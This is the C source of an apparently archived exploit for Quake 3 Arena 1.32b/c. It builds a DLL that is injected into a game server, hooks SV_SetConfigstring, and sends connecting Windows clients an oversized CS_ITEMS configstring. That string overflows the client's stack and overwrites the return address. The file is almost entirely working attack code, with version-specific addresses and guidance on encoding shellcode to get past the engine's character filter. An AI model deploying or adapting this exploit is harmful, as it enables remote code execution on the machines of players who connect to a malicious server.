Quake 3 Engine Client (Windows x86) - CS_ITEms Remote Overflow

/*
Quake 3 Engine Client CS_ITEMS Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)
I recommend you compile this with Microsoft Visual C++

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The engine strips bytes >127, '%', and '\0' before it overflows, so you will need encoded shellcode and an EIP which doesn't contain any of these characters.
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSetConfigstringAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
	int iCS_ITEM;
};

VersionStruct Versions[] = {
	{ "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27 },	//Quake 3 Arena 1.32c
	{ "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27 },	//Quake 3 Arena 1.32b
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal);
void SV_SetConfigstring_Hook(int iIndex, const char *pVal)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		if(iIndex == pVersion->iCS_ITEM)
		{
			memset(szString, 0, sizeof(szString));
			pPtr = &szString[0];

			memset(pPtr, 'a', pVersion->dwFillSize);
			pPtr += pVersion->dwFillSize;

			memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
			pPtr += sizeof(DWORD);

			orig_SV_SetConfigstring(iIndex, szString);

			return;
		}
	}

	orig_SV_SetConfigstring(iIndex, pVal);
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr, (BYTE*)SV_SetConfigstring_Hook);
		_asm mov [orig_SV_SetConfigstring], eax
	}

	return 1;
}

// milw0rm.com [2006-07-02]